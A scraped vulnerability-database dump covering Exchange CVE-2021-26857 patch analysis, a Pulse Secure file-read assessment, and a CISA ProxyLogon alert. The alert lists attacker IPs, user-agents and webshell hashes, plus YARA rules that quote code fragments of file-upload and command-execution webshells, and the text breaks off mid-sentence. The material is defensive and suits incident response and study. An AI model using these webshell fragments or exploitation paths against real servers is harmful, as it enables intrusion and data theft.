+\t\t\ttypeof(UMVoIPSecurityType),\n +\t\t\ttypeof(SystemFlagsEnum),\n +\t\t\ttypeof(EumProxyAddress),\n +\t\t\ttypeof(EumProxyAddressPrefix)\n +\t\t};\n \t}\n }\n \n\nThe patch appears to add and use a typed allowlist for deserialization of a voicemail\u2019s contact info, which is found in a header file alongside the voicemail itself. ~~Other seemingly unprotected deserializations can be seen in the same class.~~ (I think it\u2019s just XML parsing.) My suspicion is that [CVE-2021-26858](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26858>) or [CVE-2021-27065](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065>) could be used to write a malicious header file to `C:\\Program Files\\Microsoft\\Exchange Server\\V15\\UnifiedMessaging\\voicemail`, but it\u2019s entirely possible a crafted voicemail could be sent instead. While I haven\u2019t developed a PoC yet, I do have a good idea how to, assuming the patch analysis is correct. Better-resourced attackers should be able to exploit this issue in considerably less time.\n\nThe specifically patched code can be seen below:\n \n \n [snip]\n \t\t\t\t\t\t\t\t\telse\n \t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\tif (!(text4 == \"ContactInfo\"))\n \t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\tgoto IL_409;\n \t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\tException ex = null;\n \t\t\t\t\t\t\t\t\t\ttry\n \t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\ttry\n \t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t\tusing (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(array[1])))\n \t\t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t\t\tcontactInfo = (ContactInfo)TypedBinaryFormatter.DeserializeObject(memoryStream, PipelineContext.contactInfoDeserializationAllowList, null, true);\n \t\t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t\tcatch (ArgumentNullException ex)\n \t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t\tcatch (SerializationException ex)\n \t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t\tcatch (Exception ex)\n \t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t\tcontinue;\n \t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\tfinally\n \t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\tif (ex != null)\n \t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t\tCallIdTracer.TraceDebug(ExTraceGlobals.VoiceMailTracer, 0, \"Failed to get contactInfo from header file {0} with Error={1}\", new object[]\n \t\t\t\t\t\t\t\t\t\t\t\t{\n \t\t\t\t\t\t\t\t\t\t\t\t\theaderFile,\n \t\t\t\t\t\t\t\t\t\t\t\t\tex\n \t\t\t\t\t\t\t\t\t\t\t\t});\n \t\t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\t\t}\n [snip]\n \n \n \n [snip]\n \t\tprivate static Type[] contactInfoDeserializationAllowList = new Type[]\n \t\t{\n \t\t\ttypeof(Version),\n \t\t\ttypeof(Guid),\n \t\t\ttypeof(PropTag),\n \t\t\ttypeof(ContactInfo),\n \t\t\ttypeof(ADContactInfo),\n \t\t\ttypeof(FoundByType),\n \t\t\ttypeof(ADUser),\n \t\t\ttypeof(ADPropertyBag),\n \t\t\ttypeof(ValidationError),\n \t\t\ttypeof(ADPropertyDefinition),\n \t\t\ttypeof(ADObjectId),\n \t\t\ttypeof(ExchangeObjectVersion),\n \t\t\ttypeof(ExchangeBuild),\n \t\t\ttypeof(MultiValuedProperty<string>),\n \t\t\ttypeof(LocalizedString),\n \t\t\ttypeof(ProxyAddressCollection),\n \t\t\ttypeof(SmtpAddress),\n \t\t\ttypeof(RecipientDisplayType),\n \t\t\ttypeof(RecipientTypeDetails),\n \t\t\ttypeof(ElcMailboxFlags),\n \t\t\ttypeof(UserAccountControlFlags),\n \t\t\ttypeof(ObjectState),\n \t\t\ttypeof(DirectoryBackendType),\n \t\t\ttypeof(MServPropertyDefinition),\n \t\t\ttypeof(MbxPropertyDefinition),\n \t\t\ttypeof(MbxPropertyDefinitionFlags),\n \t\t\ttypeof(OrganizationId),\n \t\t\ttypeof(PartitionId),\n \t\t\ttypeof(SmtpProxyAddress),\n \t\t\ttypeof(SmtpProxyAddressPrefix),\n \t\t\ttypeof(ByteQuantifiedSize),\n \t\t\ttypeof(Unlimited<ByteQuantifiedSize>),\n \t\t\ttypeof(List<ValidationError>),\n \t\t\ttypeof(ADMultiValuedProperty<TextMessagingStateBase>),\n \t\t\ttypeof(ADMultiValuedProperty<ADObjectId>),\n \t\t\ttypeof(StoreObjectId),\n \t\t\ttypeof(StoreObjectType),\n \t\t\ttypeof(EntryIdProvider),\n \t\t\ttypeof(SimpleContactInfoBase),\n \t\t\ttypeof(MultipleResolvedContactInfo),\n \t\t\ttypeof(CallerNameDisplayContactInfo),\n \t\t\ttypeof(PersonalContactInfo),\n \t\t\ttypeof(DefaultContactInfo),\n \t\t\ttypeof(UMDialPlan),\n \t\t\ttypeof(UMEnabledFlags),\n \t\t\tType.GetType(\"Microsoft.Exchange.Data.ByteQuantifiedSize+QuantifierProvider, Microsoft.Exchange.Data\"),\n \t\t\tType.GetType(\"System.UnitySerializationHolder, mscorlib\"),\n \t\t\tType.GetType(\"Microsoft.Exchange.Data.ByteQuantifiedSize+Quantifier,Microsoft.Exchange.Data\"),\n \t\t\tType.GetType(\"Microsoft.Exchange.Data.PropertyBag+ValuePair, Microsoft.Exchange.Data\"),\n \t\t\tType.GetType(\"System.Collections.Generic.List`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\"),\n \t\t\ttypeof(DialByNamePrimaryEnum),\n \t\t\ttypeof(DialByNameSecondaryEnum),\n \t\t\ttypeof(AudioCodecEnum),\n \t\t\ttypeof(UMUriType),\n \t\t\ttypeof(UMSubscriberType),\n \t\t\ttypeof(UMGlobalCallRoutingScheme),\n \t\t\ttypeof(UMVoIPSecurityType),\n \t\t\ttypeof(SystemFlagsEnum),\n \t\t\ttypeof(EumProxyAddress),\n \t\t\ttypeof(EumProxyAddressPrefix)\n \t\t};\n [snip]\n \n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-03-03T00:00:00", "type": "attackerkb", "title": "CVE-2021-26857", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26412", "CVE-2021-26854", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27078"], "modified": "2021-07-27T00:00:00", "id": "AKB:8E9F0DC4-BC72-4340-B70E-5680CA968D2B", "href": "https://attackerkb.com/topics/hx6O9H590s/cve-2021-26857", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-12-10T11:13:41", "description": "In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability .\n\n \n**Recent assessments:** \n \n**dmelcher5151** at April 15, 2020 4:11pm UTC reported:\n\nCan download the session DB in one request and escalate to admin on the VPN concentrator. May not be configured to log unauthenticated requests. Causes massive damage. If not patched, likely wrecked.\n\n**hrbrmstr** at May 12, 2020 7:55pm UTC reported:\n\nCan download the session DB in one request and escalate to admin on the VPN concentrator. May not be configured to log unauthenticated requests. Causes massive damage. If not patched, likely wrecked.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-08T00:00:00", "type": "attackerkb", "title": "CVE-2019-11510", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510"], "modified": "2021-07-27T00:00:00", "id": "AKB:236680FB-F804-4F5D-B51D-4B50C9F69BBD", "href": "https://attackerkb.com/topics/lx3Afd7fbJ/cve-2019-11510", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "ics": [{"lastseen": "2023-03-14T18:32:50", "description": "### Summary\n\n_Updated July 19, 2021: The U.S. Government attributes this activity to malicious cyber actors affiliated with the People's Republic of China (PRC) Ministry of State Security (MSS). Additional information may be found in a [statement from the White House](<https://www.whitehouse.gov/briefing-room/statements-releases/2021/07/19/the-united-states-joined-by-allies-and-partners-attributes-malicious-cyber-activity-and-irresponsible-state-behavior-to-the-peoples-republic-of-china/>). For more information on Chinese malicious cyber activity, refer to [us-cert.cisa.gov/China](<https://us-cert.cisa.gov/china>)._\n\n_**Note:** This Alert was updated April 13, 2021, to provide further guidance. _\n\nCybersecurity and Infrastructure Security Agency (CISA) partners have observed active exploitation of vulnerabilities in Microsoft Exchange Server products. Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, enabling the attacker to gain persistent system access, as well as access to files and mailboxes on the server and to credentials stored on that system. Successful exploitation may additionally enable the attacker to compromise trust and identity in a vulnerable network. Microsoft released out-of-band patches to address vulnerabilities in Microsoft Exchange Server. The vulnerabilities impact on-premises Microsoft Exchange Servers and are not known to impact Exchange Online or Microsoft 365 (formerly O365) cloud email services.\n\nThis Alert includes both tactics, techniques and procedures (TTPs) and the indicators of compromise (IOCs) associated with this malicious activity. To secure against this threat, CISA recommends organizations examine their systems for the TTPs and use the IOCs to detect any malicious activity. If an organization discovers exploitation activity, they should assume network identity compromise and follow incident response procedures. If an organization finds no activity, they should apply available patches immediately and implement the mitigations in this Alert.\n\nClick here for IOCs in STIX format.\n\n### Technical Details\n\n_(Updated April 14, 2021)_: [Microsoft's April 2021 Security Update](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Apr>) newly discloses and mitigates significant vulnerabilities affecting on-premises Exchange Server 2013, 2016, and 2019.\n\nMicrosoft has released out-of-band security updates to address four vulnerabilities in Exchange Server:\n\n * [CVE-2021-26855](<https://vulners.com/cve/CVE-2021-26855>) allows an unauthenticated attacker to send arbitrary HTTP requests and authenticate as the Exchange Server. The vulnerability exploits the Exchange Control Panel (ECP) via a Server-Side Request Forgery (SSRF). This would also allow the attacker to gain access to mailboxes and read sensitive information.\n * [CVE-2021-26857](<https://vulners.com/cve/CVE-2021-26857>), [CVE-2021-26858](<https://vulners.com/cve/CVE-2021-26858>), and [CVE-2021-27065](<https://vulners.com/cve/CVE-2021-27065>) allow for remote code execution. \n * CVE-2021-26858 and CVE-2021-27065 are similar post-authentication arbitrary write file vulnerabilities in Exchange. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could write a file to any path on the server.\n\n * CVE-2021-26857 is an insecure deserialization vulnerability in the Unified Messaging service. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could execute arbitrary code as `SYSTEM `on the Exchange Server.\n\n * To locate a possible compromise of these CVEs, CISA encourages organizations read the [Microsoft Advisory](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>).\n\nIt is possible for an attacker, once authenticated to the Exchange server, to gain access to the Active Directory environment and download the Active Directory Database.\n\n_(Updated March 12, 2021):_ Microsoft Security Intelligence has released a [tweet](<https://twitter.com/MsftSecIntel/status/1370236539427459076>) on [DearCry](<https://www.bleepingcomputer.com/news/security/ransomware-now-attacks-microsoft-exchange-servers-with-proxylogon-exploits/>) ransomware being used to exploit compromised on-premises Exchange Servers. Ransomware infections can have negative consequences to an affected organization, including:\n\n * temporary or permanent loss of sensitive or proprietary information,\n * disruption to regular operations,\n * financial losses incurred to restore systems and files, and\n * potential harm to an organization\u2019s reputation.\n\n(_Updated April 12, 2021_): CISA recommends organizations review Malware Analysis Report (MAR) [MAR-10330097-1.v1 \u2013 DearCry Ransomware](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102b>) for detailed analysis, along with TTPs and IOCs.\n\n_(Updated March 12, 2021): _CISA encourages organizations to review CISA\u2019s [Ransomware web page](<https://www.cisa.gov/ransomware>) for guidance and resources. Victims of ransomware should report it immediately to CISA at [www.us-cert.gov/report](<https://www.us-cert.gov/report>), a local[ FBI Field Office](<https://www.fbi.gov/contact-us/field-offices>), or [Secret Service Field Office](<http://www.secretservice.gov/contact/field-offices/>).\n\n### Tactics, Techniques and Procedures\n\n_(Updated March 10, 2021):_ Microsoft has released a script that scans Exchange log files for IOCs. CISA strongly encourages organizations to run the [Test-ProxyLogon.ps1 script](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>)\u2014as soon as possible\u2014to help determine whether their systems are compromised.\n\n_(Updated March 16, 2021): _**Note:** Microsoft has released the [Exchange On-premises Mitigation Tool (EOMT.ps1)](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) that can automate portions of both the detection and patching process. Microsoft stated the following along with the release: \"[the tool is intended] to help customers who do not have dedicated security or IT teams to apply these security updates. We have tested this tool across Exchange Server 2013, 2016, and 2019 deployments. This new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update.\u201d Review the [EOMT.ps1 blog post](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) for directions on using the tool.\n\n_(Updated March 10, 2021):_ CISA recommends investigating for signs of a compromise from at least January 1, 2021 through present.\n\n_(Updated April 12, 2021): _CISA has identified 10 webshells associated with this activity. This is not an all-inclusive list of webshells that are being leveraged by actors. CISA recommends organizations review the following MARs for detailed analysis of the 10 webshells, along with TTPs and IOCs. These MARs include CISA-developed YARA rules to help network defenders detect associated malware.\n\n 1. AR21-072A: [MAR-10328877.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072a>)\n 2. AR21-072B: [MAR-10328923.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072b>)\n 3. AR21-072C: [MAR-10329107.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072c>)\n 4. AR21-072D: [MAR-10329297.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072d>)\n 5. AR21-072E: [MAR-10329298.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072e>)\n 6. AR21-072F: [MAR-10329301.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072f>)\n 7. AR21-072G: [MAR-10329494.r1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-072g>)\n 8. AR21-084A: [MAR-10329496-1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-084a>)\n 9. AR21-084B: [MAR-10329499-1.v1: China Chopper Webshell ](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-084b>)\n 10. AR21-102A: [MAR-10331466-1.v1: China Chopper Webshell](<https://us-cert.cisa.gov/ncas/analysis-reports/ar21-102a>)\n\n_(Updated March 13, 2021):_ A webshell is a script that can be uploaded to a compromised Microsoft Exchange Server to enable remote administration of the machine. Webshells are utilized for the following purposes:\n\n * To harvest and exfiltrate sensitive data and credentials;\n * To upload additional malware for the potential of creating, for example, a watering hole for infection and scanning of further victims;\n * To use as a relay point to issue commands to hosts inside the network without direct internet access;\n * To use as command-and-control infrastructure, potentially in the form of a bot in a botnet or in support of compromises to additional external networks. This could occur if the adversary intends to maintain long-term persistence.\n\n_(Updated March 13, 2021): _For more information, see [TA15-314A Compromised Web Servers and Web Shells - Threat Awareness and Guidance](<https://us-cert.cisa.gov/ncas/alerts/TA15-314A>).\n\nThe majority of the TTPs in this section are sourced from a [blog post from Volexity](<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>), a third-party cybersecurity firm. **Note: **the United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.\n\nVolexity has observed the following files as targets of `HTTP POST` requests:\n\n * `/owa/auth/Current/themes/resources/logon.css`\n * `/owa/auth/Current/themes/resources/owafont_ja.css`\n * `/owa/auth/Current/themes/resources/lgnbotl.gif`\n * `/owa/auth/Current/themes/resources/owafont_ko.css`\n * `/owa/auth/Current/themes/resources/SegoeUI-SemiBold.eot`\n * `/owa/auth/Current/themes/resources/SegoeUI-SemiLight.ttf`\n * `/owa/auth/Current/themes/resources/lgnbotl.gif`\n\nAdministrators should search the ECP server logs for the following string (or something similar):\n\n`S:CMD=Set-OabVirtualDirectory.ExternalUrl='`\n\nThe logs can be found at `<exchange install path>\\Logging\\ECP\\Server\\`.\n\nTo determine possible webshell activity, administrators should search for `aspx` files in the following paths:\n\n * `\\inetpub\\wwwroot\\aspnet_client\\ `(any `.aspx` file under this folder or sub folders)\n * `\\<exchange install path>\\FrontEnd\\HttpProxy\\ecp\\auth\\ `(any file besides `TimeoutLogoff.aspx`)\n * `\\<exchange install path>\\FrontEnd\\HttpProxy\\owa\\auth\\ `(any file or modified file that is not part of a standard install)\n * `\\<exchange install path>\\FrontEnd\\HttpProxy\\owa\\auth\\Current\\ `(any `aspx `file in this folder or subfolders)\n * `\\<exchange install path>\\FrontEnd\\HttpProxy\\owa\\auth\\<folder with version number>\\ `(any `aspx `file in this folder or subfolders)\n\nAdministrators should search in the `/owa/auth/Current` directory for the following non-standard web log user-agents. These agents may be useful for incident responders to look at to determine if further investigation is necessary.\n\nThese should not be taken as definitive IOCs:\n\n * `DuckDuckBot/1.0;+(+http://duckduckgo.com/duckduckbot.html)`\n * `facebookexternalhit/1.1+(+http://www.facebook.com/externalhit_uatext.php)`\n * `Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)`\n * `Mozilla/5.0+(compatible;+Bingbot/2.0;++http://www.bing.com/bingbot.htm)`\n * `Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html`\n * `Mozilla/5.0+(compatible;+Konqueror/3.5;+Linux)+KHTML/3.5.5+(like+Gecko)+(Exabot-Thumbnails)`\n * `Mozilla/5.0+(compatible;+Yahoo!+Slurp;+http://help.yahoo.com/help/us/ysearch/slurp)`\n * `Mozilla/5.0+(compatible;+YandexBot/3.0;++http://yandex.com/bots)`\n * `Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/51.0.2704.103+Safari/537.36`\n\nVolexity observed these user-agents in conjunction with exploitation to `/ecp/ `URLs:\n\n * `ExchangeServicesClient/0.0.0.0`\n * `python-requests/2.19.1`\n * `python-requests/2.25.1`\n\nThese user-agents were also observed having connections to post-exploitation web-shell access:\n\n * `antSword/v2.1`\n * `Googlebot/2.1+(+http://www.googlebot.com/bot.html)`\n * `Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html)`\n\nAs with the non-standard user-agents, responders can examine internet information services (IIS) logs from Exchange Servers to identify possible historical activity. Also, as with the non-standard user agents, these should not be taken as definitive IOCs:\n\n * `POST /owa/auth/Current/`\n * `POST /ecp/default.flt`\n * `POST /ecp/main.css`\n * `POST /ecp/<single char>.js`\n\nVolexity has seen attackers leverage the following IP addresses. Although these are tied to virtual private servers (VPSs) servers and virtual private networks (VPNs), responders should investigate these IP addresses on their networks and act accordingly:\n\n * `103.77.192[.]219`\n * `104.140.114[.]110`\n * `104.250.191[.]110`\n * `108.61.246[.]56`\n * `149.28.14[.]163`\n * `157.230.221[.]198`\n * `167.99.168[.]251`\n * `185.250.151[.]72`\n * `192.81.208[.]169`\n * `203.160.69[.]66`\n * `211.56.98[.]146`\n * `5.254.43[.]18`\n * `5.2.69[.]14`\n * `80.92.205[.]81`\n * `91.192.103[.]43`\n\nVolexity has also provided the following YARA signatures that can be run within your network to assist in finding signs of a compromise.\n\nrule webshell_aspx_simpleseesharp : Webshell Unclassified \n{ \nmeta: \nauthor = \"threatintel@volexity.com\" \ndate = \"2021-03-01\" \ndescription = \"A simple ASPX Webshell that allows an attacker to write further files to disk.\" \nhash = \"893cd3583b49cb706b3e55ecb2ed0757b977a21f5c72e041392d1256f31166e2\" \n \nstrings: \n$header = \"<%@ Page Language=\\\"C#\\\" %>\" \n$body = \"<% HttpPostedFile thisFile = Request.Files[0];thisFile.SaveAs(Path.Combine\" \n \ncondition: \n$header at 0 and \n$body and \nfilesize < 1KB \n} \n \nrule webshell_aspx_reGeorgTunnel : Webshell Commodity \n{ \nmeta: \nauthor = \"threatintel@volexity.com\" \ndate = \"2021-03-01\" \ndescription = \"A variation on the reGeorg tunnel webshell\" \nhash = \"406b680edc9a1bb0e2c7c451c56904857848b5f15570401450b73b232ff38928\" \nreference = \"https://github.com/sensepost/reGeorg/blob/master/tunnel.aspx\" \n \nstrings: \n$s1 = \"System.Net.Sockets\" \n$s2 = \"System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get\" \n// a bit more experimental \n$t1 = \".Split(\u2018|\u2019)\" \n$t2 = \"Request.Headers.Get\" \n$t3 = \".Substring(\" \n$t4 = \"new Socket(\" \n$t5 = \"IPAddress ip;\" \n \ncondition: \nall of ($s*) or \nall of ($t*) \n} \n \nrule webshell_aspx_sportsball : Webshell Unclassified \n{ \nmeta: \nauthor = \"threatintel@volexity.com\" \ndate = \"2021-03-01\" \ndescription = \"The SPORTSBALL webshell allows attackers to upload files or execute commands on the system.\" \nhash = \"2fa06333188795110bba14a482020699a96f76fb1ceb80cbfa2df9d3008b5b0a\" \n \nstrings: \n$uniq1 = \"HttpCookie newcook = new HttpCookie(\\\"fqrspt\\\", HttpContext.Current.Request.Form\" \n$uniq2 = \"ZN2aDAB4rXsszEvCLrzgcvQ4oi5J1TuiRULlQbYwldE=\" \n \n$var1 = \"Result.InnerText = string.Empty;\" \n$var2 = \"newcook.Expires = DateTime.Now.AddDays(\" \n$var3 = \"System.Diagnostics.Process process = new System.Diagnostics.Process();\" \n$var4 = \"process.StandardInput.WriteLine(HttpContext.Current.Request.Form[\\\"\" \n$var5 = \"else if (!string.IsNullOrEmpty(HttpContext.Current.Request.Form[\\\"\" \n$var6 = \"<input type=\\\"submit\\\" value=\\\"Upload\\\" />\" \n \ncondition: \nany of ($uniq*) or \nall of ($var*) \n}\n\nA list of webshell hashes have also been provided by Microsoft:\n\n * `b75f163ca9b9240bf4b37ad92bc7556b40a17e27c2b8ed5c8991385fe07d17d0`\n * `097549cf7d0f76f0d99edf8b2d91c60977fd6a96e4b8c3c94b0b1733dc026d3e`\n * `2b6f1ebb2208e93ade4a6424555d6a8341fd6d9f60c25e44afe11008f5c1aad1`\n * `65149e036fff06026d80ac9ad4d156332822dc93142cf1a122b1841ec8de34b5`\n * `511df0e2df9bfa5521b588cc4bb5f8c5a321801b803394ebc493db1ef3c78fa1`\n * `4edc7770464a14f54d17f36dc9d0fe854f68b346b27b35a6f5839adf1f13f8ea`\n * `811157f9c7003ba8d17b45eb3cf09bef2cecd2701cedb675274949296a6a183d`\n * `1631a90eb5395c4e19c7dbcbf611bbe6444ff312eb7937e286e4637cb9e72944`\n\n**Note:** this is not an all-inclusive list of indicators of compromise and threat actors have been known to use short-term leased IP addresses that change very frequently. Organizations that do not locate any of the IOCs in this Alert within your network traffic, may nevertheless have been compromised. CISA recommends following the guidance located in the [Microsoft Advisory](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) to check your servers for any signs of a compromise. \n\n### Conduct Forensic Analysis\n\nShould your organization see evidence of compromise, your incident response should begin with conducting forensic analysis to collect artifacts and perform triage. Please see the following list of recommendations on how to conduct forensic analysis using various tools.\n\nAlthough the following free tools are not endorsed by the Federal Government, incident responders commonly use them to perform forensics.\n\nWhile collecting artifacts to perform triage, use processes and tools that minimize the alteration of the data being collected and that minimize impact to the operating system itself.\n\nIdeally, during data collection, store the data on removable/external media and, when possible, run the artifact collection tools from the same media.\n\nKey artifacts for triage that should be collected:\n\n * Memory\n * All registry hives\n * All windows event logs\n * All web logs\n\nMemory can be collected with a variety of open source tools (e.g., FTK Imager by AccessData, Ram Capture by Belkasoft).\n\nRegistry and Windows Event logs can be collected with a variety of open source tools as well (e.g., FTK_Imager, Kroll Artifact Parser And Extractor [KAPE]).\n\nWeb logs can also be collected with a variety of open source tools (e.g., FTK Imager).\n\n#### **Windows Artifact Collection Guide**\n\nExecute the following steps in order.\n\n**1) Download the latest FTK Imager** from <https://accessdata.com/product-download/>.\n\n * **Note:** Ensure your review of and compliance with the applicable license associated with the product referenced, which can be found in the product\u2019s User Guide. The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.\n\n**2) Collect memory from live system using FTK Imager.** See Memory Capture with FTK Imager.pdf for instructions. Note: Download and copy \u201cFTK Imager\u201d folder to an external drive. Run FTK Imager.exe from the FTK Imager folder from external drive. Wait until memory collect is complete before proceeding to step 2.\n\n**3) Collect important system artifacts using KAPE.** See KAPE Collection Procedure. Note: Download KAPE from a separate system; do not download KAPE to the target system. Run KAPE from external drive.\n\n**4) Collect disk image using FTK Imager. **See Live Image with FTK Imager.pdf for instructions. **Note:** Run FTK Imager.exe from the \u201cFTK Imager\u201d folder from external drive.\n\n#### **Memory Capture with FTK Imager**\n\n**1) Open FTK Imager.** Log into the system with Administrator privileges and launch \u201cFTK Imager.\u201d\n\n * **Note:** Ensure your review of and compliance with the applicable license associated with the product referenced. The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government.\n\n**2) Open \u201cCapture Memory.\"** Select \u201cCapture Memory\u2026\u201d from the File menu.\n\n\n\n_Figure 1: FTK Imager \u2013 Capture Memory Command_\n\n**3) Select Path and Filenames. **On the window that appears, use the \u201cBrowse\u201d button to identify the destination of the memory capture. Save the memory capture to an external device and not the main hard drive of the system. Doing so will prevent the saved file from overwriting any dataspace on the system.\n\n * Name the destination file with a descriptive name (i.e., hostname of the system).\n * Select the box \u201cInclude pagefile\u201d and provide a name of the pagefile that is descriptive of the system.\n * Do not select \u201cCreate AD1 file.\u201d\n\n\n\n_Figure 2: FTK Imager \u2013 Memory Capture _\n\n**4) Capture Memory.** Click on \u201cCapture Memory\u201d to begin the capture process. The process will take several minutes depending on the size of the pagefile and the amount of memory on the system.\n\n\n\n_Figure 3: FTK Imager \u2013 Capture Process_\n\n#### **KAPE Collection Procedure [[1](<https://ericzimmerman.github.io/KapeDocs/#!Pages%5C2.-Getting-started.md>)]**\n\n1) Download KAPE from <https://www.kroll.com/en/services/cyber-risk/investigate-and-respond/kroll-artifact-parser-extractor-kape>.\n\n2) Disable any antivirus or host protection mechanisms that prevent execution from removable media, or data loss prevention (DLP) mechanisms that restrict utilization of removable media.\n\n * Enable antivirus and host protection once this process is completed.\n\n3) Unzip Kape.zip and run gkape.exe as admin from your removable media\n\n4) **Target source **should be the drive on which the OS resides, typically C:.\n\n5) **Target destination **should be an external drive folder, not the same 